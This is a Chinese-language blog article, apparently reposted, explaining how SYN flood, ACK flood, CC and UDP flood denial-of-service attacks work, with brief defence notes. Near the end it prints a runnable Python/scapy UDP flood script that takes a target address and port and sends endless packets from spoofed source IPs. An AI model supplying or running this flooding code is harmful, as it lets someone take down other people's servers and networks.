search
尋找貓咪~QQ 地點 桃園市桃園區 Taoyuan , Taoyuan

淺談拒絕服務攻擊的原理與防禦[1] | 普通拒絕服務攻擊

普通拒絕服務攻擊是指一些傳統的攻擊方式,如:SYN FLOOD攻擊、ACK FLOOD攻擊、CC攻擊、UDP FLOOD攻擊 等等,下面會詳細介紹。

SYN FLOOD攻擊

Syn flood攻擊是利用TCP協議的一些特性發動的,通過發送大量偽造的帶有syn標誌位的TCP報文使目標伺服器連接耗盡,達到拒絕服務的目的。要想理解 syn flood的 攻擊原理 必須要先了解TCP協議建立連接的機制。

TCP(Transmission Control Protocol 傳輸控制協議)是一種面向連接的、可靠的、基於位元組流的傳輸層 通信協議。在TCP/IP協議簇中,TCP層是位於IP層之上,應用層之下的中間層。

不同的主機的應用層之間通信,通常需要可靠的、像管道一樣的連接,但是IP層(網路層)不提供這樣的可靠位元組流機制,而是提供不可靠的數據包交換。

因為TCP是可靠的傳輸方式,所以 在通信之前需要建立連接,TCP建立連接的方式就是著名的TCP三次握手(如圖3-1-1) :

syn flood攻擊就是在三次握手機制的基礎上實現的。

攻擊者通過偽造IP報文,在IP報文的原地址欄位隨機填入偽造的IP地址,目的地址填入要攻擊的伺服器IP地址,其他TTL、ID以及TCP中的Source Port等隨機填入合理數據,TCP的目的埠填入目的伺服器開放的 埠 如:80、8080等,syn標誌位置 1。

然後通過不停的循環講偽造好的數據包發送到目的伺服器。樣本如圖3-2、3-3:





可以看到目標主機建立了很多虛假的半開連接,這耗費了目標主機大量的連接資源。可以想象如果成千上萬台「肉雞 」對一台伺服器發動syn flood攻擊威力將是非常強大

ACK FLOOD攻擊

ack flood攻擊同樣是利用TCP三次握手的缺陷實現的攻擊,ack flood攻擊利用的是三次握手的第二段,也就是TCP標誌位syn和ack都置1。

攻擊主機偽造海量的虛假ack包發送給目標主機,目標主機每收到一個帶有 ack標誌位的數據包時,都會去自己的TCP連接表中查看有沒有與ack的發送者建立連接,如果有則發送三次握手的第三段ack+seq完成三次握手,成功建立TCP連接。

如果沒有則發送ack+rst 斷開連接。但是在這個過程中會消耗一定的CUP計算資源,如果瞬間收到海量的syn+ack數據包將會消耗大量的cpu資源使得正常的連接無法建立或者增加延遲,甚至造成伺服器癱瘓、死機。如圖:

攻擊開始前

攻擊開始后

理論上目標主機的TCP連接越多ack攻擊效果越好,所以如果syn flood與ack flood配合使用效果會更明顯。實現代碼點擊閱讀原文可見。

CC攻擊

CC攻擊全稱Challenge Collapsar,中文意思是挑戰黑洞,因為以前的抗DDOS攻擊的安全設備叫黑洞,顧名思義挑戰黑洞就是說黑洞拿這種攻擊沒辦法,新一代的抗DDOS設備已經改名為ADS( Anti-DDoS System),基本上已經可以完美的抵禦CC攻擊了 。

CC攻擊的原理是通過代理伺服器或者大量「肉雞」 模擬多個用戶訪問目標網站的動態頁面,製造大量的後台資料庫查詢動作,消耗目標CPU資源,造成拒絕服務。

我們都知道網站的頁面有靜態和動態之分,動態網頁是需要與後台資料庫進行交互的,比如一些論壇, 用戶登錄的時候需要去資料庫查詢你的等級、許可權 等等。

當你留言的時候又需要查詢許可權、同步數據等等,這就消耗很多cpu資源,造成靜態網頁能打開,但是需要和資料庫交互的動態網頁打開慢或者無法打開的現象。

這種攻擊方式相對於前兩種實現要相對複雜一些,但是防禦起來要簡單的多,提供服務 的企業只要盡量少用動態網頁並且讓一些操作提供驗證碼就能很好的抵禦一般的 CC攻擊。所以在這我就不在演示CC攻擊的效果了。

UDP FLOOD攻擊

UDP FLOOD攻擊顧名思義是利用UDP協議進行攻擊的,UDP FLOOD攻擊可以是小數據包衝擊設備也可以是大數據包阻塞鏈路佔盡帶寬。不過兩種方式的實現很相似,差別就在UDP的數據部分帶有多少數據。

相比TCP協議的攻擊UDP的攻擊更直接更好理解,有一定規模之後更難防禦,因為UDP攻擊的特點就是打出很高的流量,一個中小型的網站出口帶寬可能不足1 G。

如果遇到10G左右的UDP FLOOD攻擊,單憑企業自身是無論如何也防禦不住的,必須需要運營商幫你在上游清洗流量才行,如果遇到100G的流量可能地方的運營商都 沒有能力清洗了,需要把流量分散到全國清洗。

UDP FLOOD攻擊就像是一塊大石頭,看著普普通通的好像跟現代機槍炸彈不是一個等級的武器,但是如果石頭足夠大 ,就不一樣了。

想想恐龍是怎麼滅絕的, 隕石不也是塊普通的石頭嗎!在DDOS 防禦領域有一句話:能防住的都是簡單的攻擊,但簡單的攻擊不一定防得住。UDP FLOOD正是這種簡單有效的攻擊方式。

大包攻擊:

小包攻擊:

下面的代碼也是單線程,速度不太快,下一篇文章講反射DDOS的時候會有多線程的用法。

UDPFLOOD.py #-*- coding: UTF-8 -*- import socketfrom scapy.all import * from scapy import allprint "這是一個UDP FLOOD攻擊器,源埠源IP隨機"dip=raw_input("輸入要攻擊的地址:") dp=input("輸入要攻擊的埠:") f=open('./load','r')while 1: size=random.randint(1,2) data=f.read(size) iprandom=random.randint(0,4000000000) sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom))) sp=random.randint(1000,65535) t=random.randint(50,120) packet=(IP(src=sip,dst=dip,ttl=t)/UDP(sport=sp,dport=dp)/Raw(load=data)) send(packet)

下篇文章將介紹反射性DOS攻擊的相關知識,第一次發文,勿噴啊~~



熱門推薦

本文由 yidianzixun 提供 原文連結

寵物協尋 相信 終究能找到回家的路
寫了7763篇文章,獲得2次喜歡
留言回覆
回覆
精彩推薦